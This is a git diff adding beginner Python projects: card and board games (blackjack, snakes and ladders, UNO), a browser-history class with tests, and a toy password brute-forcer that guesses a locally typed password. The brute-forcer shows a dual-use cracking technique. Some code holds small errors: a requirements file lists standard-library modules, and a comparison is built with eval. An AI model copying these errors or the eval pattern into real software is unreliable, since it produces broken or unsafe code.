suit + self.rank = rank + self.is_face = face + + def __repr__(self): + fmt_card = "\t" + if self.is_face: + return fmt_card.format(suit=self.suit, rank=self.rank) + return fmt_card.format(suit="*-Back-*", rank="*-Back-*") + + def show(self): + print(str(self)) + + +class Deck: + def __init__(self, num=1): + """ + :param num: the number of deck + """ + self.num = num + self.cards = [] + self.built() + + def __repr__(self): + return "\n".join([str(card) for card in self.cards]) + + def __len__(self): + return len(self.cards) + + def built(self): + for _ in range(self.num): + ranks = [x for x in range(1, 14)] + suits = "Spades Heart Clubs Diamonds".split() + for suit in suits: + for rank in ranks: + card = Card(suit, rank) + self.cards.append(card) + + def shuffle(self): + for _ in range(self.num): + for index in range(len(self.cards)): + i = random.randint(0, 51) + self.cards[index], self.cards[i] = self.cards[i], self.cards[index] + + def rebuilt(self): + self.cards.clear() + self.built() + + def deliver(self): + return self.cards.pop() + + +class Chips: + def __init__(self, amount): + """ + :param amount: the chips you own + """ + self._amount = amount + self._bet_amount = 0 + self._insurance = 0 + self.is_insurance = False + self.is_double = False + + def __bool__(self): + return self.amount > 0 + + @staticmethod + def get_tips(content): + fmt_tips = "{color}** TIPS: {content}! **{end}" + return fmt_tips.format( + color=COLOR.get("YELLOW"), content=content, end=COLOR.get("END") + ) + + @property + def amount(self): + return self._amount + + @amount.setter + def amount(self, value): + if not isinstance(value, int): + type_tips = "Please give a integer" + raise ValueError(Chips.get_tips(type_tips)) + if value < 0: + amount_tips = "Your integer should bigger than 0" + raise ValueError(Chips.get_tips(amount_tips)) + self._amount = value + + @property + def bet_amount(self): + return self._bet_amount + + @bet_amount.setter + def bet_amount(self, value): + type_tips = "Please give a integer" + amount_tips = "Your chips should between 1 - " + str(self.amount) + " " + try: + value = int(value) + except ValueError: + raise ValueError(Chips.get_tips(type_tips)) + else: + if not isinstance(value, int): + raise ValueError(Chips.get_tips(type_tips)) + if (value <= 0) or (value > self.amount): + raise ValueError(Chips.get_tips(amount_tips)) + self._bet_amount = value + + def double_bet(self): + if self.can_double(): + self._bet_amount *= 2 + self.is_double = True + else: + over_tips = "Not enough chips || " + cannot_double = "CAN'T DO DOUBLE" + raise ValueError(Chips.get_tips(over_tips + cannot_double)) + + @property + def insurance(self): + return self._insurance + + @insurance.setter + def insurance(self, value): + if self.amount - value < 0: + over_tips = "Not enough chips" + raise ValueError(Chips.get_tips(over_tips)) + self._insurance = value + self.is_insurance = True + + def current_amount(self): + return self.amount - self.bet_amount - self.insurance + + def reset_chip(self): + self._bet_amount = 0 + self._insurance = 0 + self.is_double = False + self.is_insurance = False + + def can_double(self): + return self.current_amount() - self.bet_amount >= 0 + + +class User: + def __init__(self, name, role, chips_amount=None, color="END"): + """ + :param name: User name + :param role: dealer or player + :param chips_amount: Casino tokens equal money + """ + self.name = name + self.prompt = "{role} >> ({name}) : ".format(role=role, name=self.name) + self.chips = Chips(chips_amount) + self.color = color + self.hand = [] + self.point = 0 + + def __repr__(self): + return str(self.__dict__) + + def obtain_card(self, deck, face=True): + card = deck.deliver() + card.is_face = face + self.hand.append(card) + + def drop_card(self): + self.hand.clear() + self.point = 0 + + def show_card(self): + print("\t ** Here is my card **") + for card in self.hand: + card.show() + + def unveil_card(self): + for card in self.hand: + card.is_face = True + self.show_card() + + def calculate_point(self): + def _extract_rank(): + raw_ranks = [card.rank for card in self.hand] + cook_ranks = [10 if rank > 10 else rank for rank in raw_ranks] + return cook_ranks + + def _sum_up(ranks): + rank_one = sum(ranks) + rank_eleven = sum([11 if rank == 1 else rank for rank in ranks]) + # Over or has 2 Ace + if (ranks[::-1] == ranks) and (1 in ranks): + return 11 + len(ranks) - 1 + if rank_eleven <= BLACK_JACK: + return rank_eleven + return rank_one + + points = _extract_rank() + self.point = _sum_up(points) + + def is_point(self, opt, point): + self.calculate_point() + compare_fmt = "{user_point} {opt} {point}".format( + user_point=self.point, opt=opt, point=point + ) + return eval(compare_fmt) + + def speak(self, content="", end_char="\n"): + print("") + print( + COLOR.get(self.color) + self.prompt + COLOR.get("END") + content, + end=end_char, + ) + + def showing(self): + self.speak() + self.show_card() + + def unveiling(self): + self.calculate_point() + points_fmt = "My point is: {}".format(str(self.point)) + self.speak(points_fmt) + self.unveil_card() + + +class Dealer(User): + def __init__(self, name): + super().__init__(name=name, role="Dealer", color="PURPLE") + self.trigger = 0 + + def ask_insurance(self): + buy_insurance = ( + "(Insurance pay 2 to 1)\n" + "\tMy Face card is an Ace.\n" + "\tWould your like buy a insurance ?" + ) + self.speak(content=buy_insurance) + + def strategy_trigger(self, deck): + if self.is_point("<", BASE_VALUE): + self.obtain_card(deck) + else: + self.trigger += random.randint(0, 5) + if self.trigger % 5 == 0: + self.obtain_card(deck) + + +class Player(User): + def __init__(self, name, amount): + super().__init__(name=name, chips_amount=amount, role="Player", color="CYAN") + self.refresh_prompt() + + def refresh_prompt(self): + self.prompt = "{role} [ ${remain} ] >> ({name}) : ".format( + role="Player", name=self.name, remain=self.chips.current_amount() + ) + + def select_choice(self, pattern): + my_turn = "My turn now." + self.speak(content=my_turn) + operation = { + "I": "Insurance", + "H": "Hit", + "S": "Stand", + "D": "Double-down", + "U": "Surrender", + } + enu_choice = enumerate((operation.get(p) for p in pattern), 1) + dict_choice = dict(enu_choice) + for index, operator in dict_choice.items(): + choice_fmt = "\t[{index}] {operation}" + print(choice_fmt.format(index=index, operation=operator)) + return dict_choice + + +class Recorder: + def __init__(self): + self.data = [] + self.winner = None + self.remain_chips = 0 + self.rounds = 0 + self.player_win_count = 0 + self.dealer_win_count = 0 + self.player_point = 0 + self.dealer_point = 0 + + def update(self, winner, chips, player_point, dealer_point): + self.rounds += 1 + self.remain_chips = chips + self.winner = winner + if self.winner == "Player": + self.player_win_count += 1 + elif self.winner == "Dealer": + self.dealer_win_count += 1 + self.player_point = player_point + self.dealer_point = dealer_point + + def record(self, winner, chips, player_point, dealer_point): + self.update(winner, chips, player_point, dealer_point) + Row = namedtuple( + "Row", ["rounds", "player_point", "dealer_point", "winner", "remain_chips"] + ) + row = Row( + self.rounds, + self.player_point, + self.dealer_point, + self.winner, + self.remain_chips, + ) + self.data.append(row) + + def draw_diagram(self): + content = "Record display" + bars = "--" * 14 + content_bar = bars + content + bars + base_bar = bars + "-" * len(content) + bars + + os.system("clear") + print(base_bar) + print(content_bar) + print(base_bar) + self.digram() + print(base_bar) + print(content_bar) + print(base_bar) + + def digram(self): + title = "Round\tPlayer-Point\tDealer-Point\tWinner-is\tRemain-Chips" + row_fmt = "{}\t{}\t\t{}\t\t{}\t\t{}" + + print(title) + for row in self.data: + print( + row_fmt.format( + row.rounds, + row.player_point, + row.dealer_point, + row.winner, + row.remain_chips, + ) + ) + + print("") + win_rate_fmt = ">> Player win rate: {}%\n>> Dealer win rate: {}%" + try: + player_rate = round(self.player_win_count / self.rounds * 100, 2) + dealer_rate = round(self.dealer_win_count / self.rounds * 100, 2) + except ZeroDivisionError: + player_rate = 0 + dealer_rate = 0 + print(win_rate_fmt.format(player_rate, dealer_rate)) + + +class BlackJack: + def __init__(self, username): + self.deck = Deck() + self.dealer = Dealer("Bob") + self.player = Player(username.title(), 1000) + self.recorder = Recorder() + self.go_on = True + self.first_hand = True + self.choice = None + self.winner = None + self.bust = False + self.res = None + + def play(self): + while self.player.chips: + self.initial_game() + self.in_bet() + self.deal_card() + while self.go_on: + self.choice = self.menu() + # self.player.speak() + self.chips_manage() + try: + self.card_manage() + except ValueError as res: + self.bust = True + self.go_on = False + self.res = res + if not self.bust: + self.is_surrender() + self.winner = self.get_winner() + self.res = "Winner is " + self.winner + os.system("clear") + self.calculate_chips() + self.result_exhibit() + self.dealer.unveiling() + self.player.unveiling() + self.recorder.record( + self.winner, + self.player.chips.amount, + self.player.point, + self.dealer.point, + ) + + self.recorder.draw_diagram() + ending = "\n\tSorry I lost all chips!\n\tTime to say goodbye." + self.player.speak(ending) + print("\n" + "-" * 20 + " End Game " + "-" * 20) + + def initial_game(self): + self.go_on = True + self.first_hand = True + self.choice = None + self.winner = None + self.bust = False + self.deck.rebuilt() + self.deck.shuffle() + self.player.chips.reset_chip() + self.player.drop_card() + self.player.refresh_prompt() + self.dealer.drop_card() + print("\n" + "-" * 20 + " Start Game " + "-" * 20) + + def in_bet(self): + in_bet = "\n\tI want to bet: " + not_invalid = True + self.player.speak(in_bet, end_char="") + while not_invalid: + try: + self.player.chips.bet_amount = input() + except ValueError as e: + print(e) + self.player.speak(in_bet, end_char="") + continue + except KeyboardInterrupt: + print("") + self.recorder.draw_diagram() + quit() + else: + self.player.refresh_prompt() + # self.player.speak() + not_invalid = False + + def deal_card(self): + # dealer + self.dealer.obtain_card(self.deck, face=False) + self.dealer.obtain_card(self.deck) + + # player + self.player.obtain_card(self.deck) + self.player.obtain_card(self.deck) + + self.dealer.showing() + self.player.showing() + + def menu(self): + pattern = "HS" + if self.first_hand: + pattern += "U" + if self.dealer.hand[1].rank == 1 and self.player.chips.current_amount(): + pattern += "I" + self.dealer.ask_insurance() + if self.player.is_point(">", 10) and self.player.chips.can_double(): + pattern += "D" + self.first_hand = False + choices = self.player.select_choice(pattern) + select = self.get_select(len(choices), general_err="Select above number.") + return choices[select] + + @staticmethod + def get_select(select_max, prompt=">> ", general_err=""): + while True: + try: + value = input(prompt) + select = int(value) + if select > select_max: + raise ValueError + except ValueError: + print(general_err) + continue + except KeyboardInterrupt: + print("") + quit() + else: + return select + + def chips_manage(self): + if self.choice == "Insurance": + err = "The amount should under " + str(self.player.chips.current_amount()) + pay_ins = self.get_select( + self.player.chips.current_amount(), + prompt="Insurance amount >> ", + general_err=err, + ) + self.player.chips.insurance = pay_ins + + if self.choice == "Double-down": + try: + self.player.chips.double_bet() + except ValueError as e: + print(e) + self.player.refresh_prompt() + if self.choice in ("Insurance", "Double-down", "Surrender"): + self.go_on = False + + def card_manage(self): + if self.choice in ("Hit", "Double-down"): + self.player.obtain_card(self.deck) + if self.player.is_point(">", BLACK_JACK): + raise ValueError("Player BUST") + else: + self.dealer.strategy_trigger(self.deck) + if self.dealer.is_point(">", BLACK_JACK): + raise ValueError("Dealer BUST") + elif self.choice != "Surrender": + if not self.player.chips.is_insurance: + self.dealer.strategy_trigger(self.deck) + if self.dealer.is_point(">", BLACK_JACK): + raise ValueError("Dealer BUST") + + self.dealer.showing() + self.player.showing() + if self.choice in ("Double-down", "Stand"): + self.go_on = False + + def is_surrender(self): + if self.choice == "Surrender": + self.player.speak("Sorry, I surrender....\n") + + def get_winner(self): + if self.bust: + return "Dealer" if self.player.is_point(">", BLACK_JACK) else "Player" + + if self.choice == "Surrender": + return "Dealer" + elif self.choice == "Insurance": + if self.player.is_point("==", BLACK_JACK): + return "Dealer" + return "Player" + + if self.choice in ("Double-down", "Stand"): + self.player.calculate_point() + self.dealer.calculate_point() + if self.player.point > self.dealer.point: + return "Player" + return "Dealer" + + return "Both" + + def calculate_chips(self): + if self.choice == "Surrender": + if self.player.chips.bet_amount == 1: + if self.player.chips.current_amount() == 0: + self.player.chips.amount = 0 + else: + surrender_amount = self.player.chips.bet_amount // 2 + self.player.chips.amount -= surrender_amount + + elif self.choice in ("Double-down", "Stand", "Insurance", "Hit"): + if self.winner == "Player": + self.player.chips.amount += ( + self.player.chips.bet_amount + self.player.chips.insurance * 2 + ) + elif self.winner == "Dealer": + self.player.chips.amount -= ( + self.player.chips.bet_amount + self.player.chips.insurance + ) + + def result_exhibit(self): + def get_color(): + if "BUST" in content: + return COLOR.get("RED" if "Player" in content else "GREEN") + if self.winner == "Player": + return COLOR.get("GREEN") + elif self.winner == "Dealer": + return COLOR.get("RED") + else: + return COLOR.get("YELLOW") + + end = COLOR.get("END") + content = str(self.res) + color = get_color() + winner_fmt = color + "\n\t>> {content} <<\n" + end + print(winner_fmt.format(content=content)) + + +def main(): + try: + user_name = input("What is your name: ") + except KeyboardInterrupt: + print("") + else: + black_jack = BlackJack(username=user_name) + black_jack.play() + + +if __name__ == "__main__": + main() diff --git a/BlackJack_game/requirements.txt b/BlackJack_game/requirements.txt new file mode 100644 index 00000000000..3320ad5cf21 --- /dev/null +++ b/BlackJack_game/requirements.txt @@ -0,0 +1,2 @@ +time +random diff --git a/BoardGame-CLI/python.py b/BoardGame-CLI/python.py new file mode 100644 index 00000000000..5a28f5adf6f --- /dev/null +++ b/BoardGame-CLI/python.py @@ -0,0 +1,91 @@ +import random + +# Define the game board with snakes and ladders +snakes_and_ladders = { + 2: 38, + 7: 14, + 8: 31, + 15: 26, + 16: 6, + 21: 42, + 28: 84, + 36: 44, + 46: 25, + 49: 11, + 51: 67, + 62: 19, + 64: 60, + 71: 91, + 74: 53, + 78: 98, + 87: 94, + 89: 68, + 92: 88, + 95: 75, + 99: 80, +} + + +# Function to roll a six-sided die +def roll_die(): + return random.randint(1, 6) + + +# Function to simulate a single turn +def take_turn(current_position, player_name): + # Roll the die + roll_result = roll_die() + print(f"{player_name} rolled a {roll_result}!") + + # Calculate the new position after the roll + new_position = current_position + roll_result + + # Check if the new position is a ladder or a snake + if new_position in snakes_and_ladders: + new_position = snakes_and_ladders[new_position] + if new_position > current_position: + print("Ladder! Climb up!") + else: + print("Snake! Slide down!") + + # Check if the new position exceeds the board size + if new_position >= 100: + new_position = 100 + print(f"Congratulations, {player_name} reached the final square!") + + return new_position + + +# Main game loop +def play_snakes_and_ladders(): + player1_position = 1 + player2_position = 1 + + player1_name = input("Enter the name of Player 1: ") + player2_name = input("Enter the name of Player 2: ") + + current_player = player1_name + + while player1_position < 100 and player2_position < 100: + print(f"\n{current_player}'s turn:") + input("Press Enter to roll the die.") + + if current_player == player1_name: + player1_position = take_turn(player1_position, player1_name) + current_player = player2_name + else: + player2_position = take_turn(player2_position, player2_name) + current_player = player1_name + + print("\nGame Over!") + print(f"{player1_name} ended at square {player1_position}.") + print(f"{player2_name} ended at square {player2_position}.") + if player1_position == 100: + print(f"{player1_name} won!") + elif player2_position == 100: + print(f"{player2_name} won!") + + +# Start the game +if __name__ == "__main__": + play_snakes_and_ladders() diff --git a/BoardGame-CLI/snakeLadder.py b/BoardGame-CLI/snakeLadder.py new file mode 100644 index 00000000000..fd06dd64527 --- /dev/null +++ b/BoardGame-CLI/snakeLadder.py @@ -0,0 +1,174 @@ +import random + +# Taking players data +players = {} # stores players name their locations +isReady = {} +current_loc = 1 # vaiable for iterating location + +imp = True + + +# players input function +def player_input(): + global players + global current_loc + global isReady + + x = True + while x: + player_num = int(input("Enter the number of players: ")) + if player_num > 0: + for i in range(player_num): + name = input(f"Enter player {i + 1} name: ") + players[name] = current_loc + isReady[name] = False + x = False + play() # play funtion call + + else: + print("Number of player cannot be zero") + print() + + +# Dice roll method +def roll(): + # print(players) + return random.randrange(1, 7) + + +# play method +def play(): + global players + global isReady + global imp + + while imp: + print("/" * 20) + print("1 -> roll the dice (or enter)") + print("2 -> start new game") + print("3 -> exit the game") + print("/" * 20) + + for i in players: + n = input("{}'s turn: ".format(i)) or 1 + n = int(n) + + if players[i] < 100: + if n == 1: + temp1 = roll() + print(f"you got {temp1}") + print("") + + if isReady[i] == False and temp1 == 6: + isReady[i] = True + + if isReady[i]: + looproll = temp1 + counter_6 = 0 + while looproll == 6: + counter_6 += 1 + looproll = roll() + temp1 += looproll + print(f"you got {looproll} ") + if counter_6 == 3: + temp1 -= 18 + print("Three consectutives 6 got cancelled") + print("") + # print(temp1) + if (players[i] + temp1) > 100: + pass + elif (players[i] + temp1) < 100: + players[i] += temp1 + players[i] = move(players[i], i) + elif (players[i] + temp1) == 100: + print(f"congrats {i} you won !!!") + imp = False + return + + print(f"you are at position {players[i]}") + + elif n == 2: + players = {} # stores player ans their locations + isReady = {} + current_loc = 1 # reset starting location to 1 + player_input() + + elif n == 3: + print("Bye Bye") + imp = False + + else: + print("pls enter a valid input") + + +# Move method +def move(a, i): + global players + global imp + temp_loc = players[i] + + if (temp_loc) < 100: + temp_loc = ladder(temp_loc, i) + temp_loc = snake(temp_loc, i) + + return temp_loc + + +# snake bite code +def snake(c, i): + if c == 32: + players[i] = 10 + elif c == 36: + players[i] = 6 + elif c == 48: + players[i] = 26 + elif c == 63: + players[i] = 18 + elif c == 88: + players[i] = 24 + elif c == 95: + players[i] = 56 + elif c == 97: + players[i] = 78 + else: + return players[i] + print(f"You got bitten by a snake now you are at {players[i]}") + + return players[i] + + +# ladder code +def ladder(a, i): + global players + + if a == 4: + players[i] = 14 + elif a == 8: + players[i] = 30 + elif a == 20: + players[i] = 38 + elif a == 40: + players[i] = 42 + elif a == 28: + players[i] = 76 + elif a == 50: + players[i] = 67 + elif a == 71: + players[i] = 92 + elif a == 88: + players[i] = 99 + else: + return players[i] + print(f"You got a ladder now you are at {players[i]}") + + return players[i] + + +# while run: +print("/" * 40) +print("Welcome to the snake ladder game !!!!!!!") +print("/" * 40) + + +if __name__ == "__main__": + player_input() diff --git a/BoardGame-CLI/uno.py b/BoardGame-CLI/uno.py new file mode 100644 index 00000000000..dca5f1e10c1 --- /dev/null +++ b/BoardGame-CLI/uno.py @@ -0,0 +1,229 @@ +# uno game # + +import random +from typing import List + +""" +Generate the UNO deck of 108 cards. + +Doctest examples: + +>>> deck = buildDeck() +>>> len(deck) +108 +>>> sum(1 for c in deck if 'Wild' in c) +8 + +Return: list of card strings (e.g. 'Red 7', 'Wild Draw Four') +""" + + +def buildDeck() -> List[str]: + deck: List[str] = [] + # example card:Red 7,Green 8, Blue skip + colours = ["Red", "Green", "Yellow", "Blue"] + values = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "Draw Two", "Skip", "Reverse"] + wilds = ["Wild", "Wild Draw Four"] + for colour in colours: + for value in values: + cardVal = "{} {}".format(colour, value) + deck.append(cardVal) + if value != 0: + deck.append(cardVal) + for i in range(4): + deck.append(wilds[0]) + deck.append(wilds[1]) + return deck + + +""" +Shuffles a list of items passed into it +Parameters: deck=>list +Return values: deck=>list +""" + + +def shuffleDeck(deck: List[str]) -> List[str]: + # use Python's built-in shuffle which is efficient and correct + random.shuffle(deck) + return deck + + +"""Draw card function that draws a specified number of cards off the top of the deck +Parameters: numCards -> integer +Return: cardsDrawn -> list +""" + + +def drawCards(numCards: int) -> List[str]: + """ + Draw a number of cards from the top of the global `unoDeck`. + + Raises ValueError if the deck runs out of cards. + """ + cardsDrawn: List[str] = [] + for x in range(numCards): + try: + cardsDrawn.append(unoDeck.pop(0)) + except IndexError: + raise ValueError("The deck is empty; cannot draw more cards") + return cardsDrawn + + +""" +Print formatted list of player's hand +Parameter: player->integer , playerHand->list +Return: None +""" + + +def showHand(player: int, playerHand: List[str]) -> None: + print("Player {}'s Turn".format(players_name[player])) + print("Your Hand") + print("------------------") + y = 1 + for card in playerHand: + print("{}) {}".format(y, card)) + y += 1 + print("") + + +""" +Check whether a player is able to play a card, or not +Parameters: discardCard->string,value->string, playerHand->list +Return: boolean +""" + + +def canPlay(colour: str, value: str, playerHand: List[str]) -> bool: + """ + Return True if any card in playerHand is playable on a discard with given colour and value. + + >>> canPlay('Red','5',['Red 3','Green 5']) + True + >>> canPlay('Blue','7',['Green 1']) + False + """ + for card in playerHand: + if "Wild" in card: + return True + elif colour in card or value in card: + return True + return False + + +# --- Global deck and initial setup --- +unoDeck = buildDeck() +unoDeck = shuffleDeck(unoDeck) +unoDeck = shuffleDeck(unoDeck) +discards: List[str] = [] + +players_name: List[str] = [] +players: List[List[str]] = [] +colours = ["Red", "Green", "Yellow", "Blue"] + + +def main() -> None: + """Run interactive UNO game (keeps original behavior). + + Note: main() is interactive and not exercised by doctest. + """ + global players_name, players, discards + + numPlayers = int(input("How many players?")) + while numPlayers < 2 or numPlayers > 4: + numPlayers = int( + input("Invalid. Please enter a number between 2-4.\nHow many players?") + ) + for player in range(numPlayers): + players_name.append(input("Enter player {} name: ".format(player + 1))) + players.append(drawCards(5)) + + playerTurn = 0 + playDirection = 1 + playing = True + discards.append(unoDeck.pop(0)) + splitCard = discards[0].split(" ", 1) + currentColour = splitCard[0] + if currentColour != "Wild": + cardVal = splitCard[1] + else: + cardVal = "Any" + + while playing: + showHand(playerTurn, players[playerTurn]) + print("Card on top of discard pile: {}".format(discards[-1])) + if canPlay(currentColour, cardVal, players[playerTurn]): + cardChosen = int(input("Which card do you want to play?")) + while not canPlay( + currentColour, cardVal, [players[playerTurn][cardChosen - 1]] + ): + cardChosen = int( + input("Not a valid card. Which card do you want to play?") + ) + print("You played {}".format(players[playerTurn][cardChosen - 1])) + discards.append(players[playerTurn].pop(cardChosen - 1)) + + # cheak if player won + if len(players[playerTurn]) == 0: + playing = False + # winner = "Player {}".format(playerTurn+1) + winner = players_name[playerTurn] + else: + # cheak for special cards + splitCard = discards[-1].split(" ", 1) + currentColour = splitCard[0] + if len(splitCard) == 1: + cardVal = "Any" + else: + cardVal = splitCard[1] + if currentColour == "Wild": + for x in range(len(colours)): + print("{}) {}".format(x + 1, colours[x])) + newColour = int(input("What colour would you like to choose? ")) + while newColour < 1 or newColour > 4: + newColour = int( + input( + "Invalid option. What colour would you like to choose" + ) + ) + currentColour = colours[newColour - 1] + if cardVal == "Reverse": + playDirection = playDirection * -1 + elif cardVal == "Skip": + playerTurn += playDirection + if playerTurn >= numPlayers: + playerTurn = 0 + elif playerTurn < 0: + playerTurn = numPlayers - 1 + elif cardVal == "Draw Two": + playerDraw = playerTurn + playDirection + if playerDraw == numPlayers: + playerDraw = 0 + elif playerDraw < 0: + playerDraw = numPlayers - 1 + players[playerDraw].extend(drawCards(2)) + elif cardVal == "Draw Four": + playerDraw = playerTurn + playDirection + if playerDraw == numPlayers: + playerDraw = 0 + elif playerDraw < 0: + playerDraw = numPlayers - 1 + players[playerDraw].extend(drawCards(4)) + print("") + else: + print("You can't play. You have to draw a card.") + players[playerTurn].extend(drawCards(1)) + + playerTurn += playDirection + if playerTurn >= numPlayers: + playerTurn = 0 + elif playerTurn < 0: + playerTurn = numPlayers - 1 + + print("Game Over") + print("{} is the Winner!".format(winner)) + + +if __name__ == "__main__": + main() diff --git a/BrowserHistory/backend.py b/BrowserHistory/backend.py new file mode 100644 index 00000000000..2b39a255934 --- /dev/null +++ b/BrowserHistory/backend.py @@ -0,0 +1,103 @@ +class DLL: + """ + a doubly linked list that holds the current page, + next page, and previous page. + Used to enforce order in operations. + """ + + def __init__(self, val: str = None): + self.val = val + self.nxt = None + self.prev = None + + +class BrowserHistory: + """ + This class designs the operations of a browser history + + It works by using a doubly linked list to hold the urls with optimized + navigation using step counters and memory management + """ + + def __init__(self, homepage: str): + """ + Returns - None + Input - str + ---------- + - Initialize doubly linked list which will serve as the + browser history and sets the current page + - Initialize navigation counters + """ + self._head = DLL(homepage) + self._curr = self._head + self._back_count = 0 + self._forward_count = 0 + + def visit(self, url: str) -> None: + """ + Returns - None + Input - str + ---------- + - Adds the current url to the DLL + - Sets both the next and previous values + - Cleans up forward history to prevent memory leaks + - Resets forward count and increments back count + """ + # Clear forward history to prevent memory leaks + self._curr.nxt = None + self._forward_count = 0 + + # Create and link new node + url_node = DLL(url) + self._curr.nxt = url_node + url_node.prev = self._curr + + # Update current node and counts + self._curr = url_node + self._back_count += 1 + + def back(self, steps: int) -> str: + """ + Returns - str + Input - int + ---------- + - Moves backwards through history up to available steps + - Updates navigation counters + - Returns current page URL + """ + # Only traverse available nodes + steps = min(steps, self._back_count) + while steps > 0: + self._curr = self._curr.prev + steps -= 1 + self._back_count -= 1 + self._forward_count += 1 + return self._curr.val + + def forward(self, steps: int) -> str: + """ + Returns - str + Input - int + ---------- + - Moves forward through history up to available steps + - Updates navigation counters + - Returns current page URL + """ + # Only traverse available nodes + steps = min(steps, self._forward_count) + while steps > 0: + self._curr = self._curr.nxt + steps -= 1 + self._forward_count -= 1 + self._back_count += 1 + return self._curr.val + + +if __name__ == "__main__": + obj = BrowserHistory("google.com") + obj.visit("twitter.com") + param_2 = obj.back(1) + param_3 = obj.forward(1) + + print(param_2) + print(param_3) diff --git a/BrowserHistory/rock_paper_scissors.py b/BrowserHistory/rock_paper_scissors.py new file mode 100644 index 00000000000..c6fb00102d6 --- /dev/null +++ b/BrowserHistory/rock_paper_scissors.py @@ -0,0 +1,48 @@ +""" +Rock, Paper, Scissors Game (CLI Version) +Author: Your Name +""" + +import random + + +def get_user_choice(): + """Prompt the user to enter their choice.""" + choice = input("Enter your choice (rock, paper, scissors): ").lower() + if choice in ["rock", "paper", "scissors"]: + return choice + else: + print("Invalid choice! Please enter rock, paper, or scissors.") + return get_user_choice() + + +def get_computer_choice(): + """Randomly select computer's choice.""" + options = ["rock", "paper", "scissors"] + return random.choice(options) + + +def decide_winner(player, computer): + """Decide the winner based on the choices.""" + if player == computer: + return "It's a draw!" + elif ( + (player == "rock" and computer == "scissors") + or (player == "paper" and computer == "rock") + or (player == "scissors" and computer == "paper") + ): + return "You win!" + else: + return "Computer wins!" + + +def main(): + """Main function to play the game.""" + user_choice = get_user_choice() + computer_choice = get_computer_choice() + print(f"Computer chose: {computer_choice}") + print(decide_winner(user_choice, computer_choice)) + + +if __name__ == "__main__": + main() diff --git a/BrowserHistory/tests/test_browser_history.py b/BrowserHistory/tests/test_browser_history.py new file mode 100644 index 00000000000..b1e0af744f7 --- /dev/null +++ b/BrowserHistory/tests/test_browser_history.py @@ -0,0 +1,93 @@ +import unittest +import sys +import os + +# Add parent directory to path to import backend +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from backend import BrowserHistory + + +class TestBrowserHistory(unittest.TestCase): + def setUp(self): + """Set up test cases""" + self.browser = BrowserHistory("homepage.com") + + def test_initialization(self): + """Test proper initialization of BrowserHistory""" + self.assertEqual(self.browser._curr.val, "homepage.com") + self.assertEqual(self.browser._back_count, 0) + self.assertEqual(self.browser._forward_count, 0) + self.assertIsNone(self.browser._curr.nxt) + self.assertIsNone(self.browser._curr.prev) + + def test_visit(self): + """Test visit functionality and forward history cleanup""" + self.browser.visit("page1.com") + self.assertEqual(self.browser._curr.val, "page1.com") + self.assertEqual(self.browser._back_count, 1) + self.assertEqual(self.browser._forward_count, 0) + + # Test forward history cleanup + self.browser.visit("page2.com") + self.browser.back(1) + self.browser.visit("page3.com") # Should clear forward history + self.assertIsNone(self.browser._curr.nxt) + self.assertEqual(self.browser._forward_count, 0) + + def test_back_navigation(self): + """Test back navigation with counter validation""" + # Setup history + self.browser.visit("page1.com") + self.browser.visit("page2.com") + + # Test normal back navigation + result = self.browser.back(1) + self.assertEqual(result, "page1.com") + self.assertEqual(self.browser._back_count, 1) + self.assertEqual(self.browser._forward_count, 1) + + # Test back with more steps than available + result = self.browser.back(5) # Should only go back 1 step + self.assertEqual(result, "homepage.com") + self.assertEqual(self.browser._back_count, 0) + self.assertEqual(self.browser._forward_count, 2) + + def test_forward_navigation(self): + """Test forward navigation with counter validation""" + # Setup history and position + self.browser.visit("page1.com") + self.browser.visit("page2.com") + self.browser.back(2) # Go back to homepage + + # Test normal forward navigation + result = self.browser.forward(1) + self.assertEqual(result, "page1.com") + self.assertEqual(self.browser._forward_count, 1) + self.assertEqual(self.browser._back_count, 1) + + # Test forward with more steps than available + result = self.browser.forward(5) # Should only go forward remaining 1 step + self.assertEqual(result, "page2.com") + self.assertEqual(self.browser._forward_count, 0) + self.assertEqual(self.browser._back_count, 2) + + def test_complex_navigation(self): + """Test complex navigation patterns""" + self.browser.visit("page1.com") + self.browser.visit("page2.com") + self.browser.visit("page3.com") + + # Back navigation + self.assertEqual(self.browser.back(2), "page1.com") + + # New visit should clear forward history + self.browser.visit("page4.com") + self.assertEqual(self.browser._forward_count, 0) + self.assertIsNone(self.browser._curr.nxt) + + # Verify we can't go forward to cleared history + self.assertEqual(self.browser.forward(1), "page4.com") + + +if __name__ == "__main__": + unittest.main() diff --git a/BruteForce.py b/BruteForce.py new file mode 100644 index 00000000000..eee2b7b7465 --- /dev/null +++ b/BruteForce.py @@ -0,0 +1,81 @@ +from itertools import product + + +def findPassword(chars, function, show=50, format_="%s"): + password = None + attempts = 0 + size = 1 + stop = False + + while not stop: + # Obtém todas as combinações possíveis com os dígitos do parâmetro "chars". + for pw in product(chars, repeat=size): + password = "".join(pw) + + # Imprime a senha que será tentada. + if attempts % show == 0: + print(format_ % password) + + # Verifica se a senha é a correta. + if function(password): + stop = True + break + else: + attempts += 1 + size += 1 + + return password, attempts + + +def getChars(): + """ + Método para obter uma lista contendo todas as + letras do alfabeto e números. + """ + chars = [] + + # Acrescenta à lista todas as letras maiúsculas + for id_ in range(ord("A"), ord("Z") + 1): + chars.append(chr(id_)) + + # Acrescenta à lista todas as letras minúsculas + for id_ in range(ord("a"), ord("z") + 1): + chars.append(chr(id_)) + + # Acrescenta à lista todos os números + for number in range(10): + chars.append(str(number)) + + return chars + + +# Se este módulo não for importado, o programa será testado. +# Para realizar o teste, o usuário deverá inserir uma senha para ser encontrada. + +if __name__ == "__main__": + import datetime + import time + + # Pede ao usuário uma senha + pw = input("\n Type a password: ") + print("\n") + + def testFunction(password): + global pw + if password == pw: + return True + else: + return False + + # Obtém os dígitos que uma senha pode ter + chars = getChars() + + t = time.process_time() + + # Obtém a senha encontrada e o múmero de tentativas + password, attempts = findPassword( + chars, testFunction, show=1000, format_=" Trying %s" + ) + + t = datetime.timedelta(seconds=int(time.process_time() - t)) + input(f"\n\n Password found: {password}\n Attempts: {attempts}\n Time: {t}\n") diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 00000000000..1ce6863533c --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,76 @@ +# Contributor Covenant Code of Conduct Easy to understand + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to make participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, 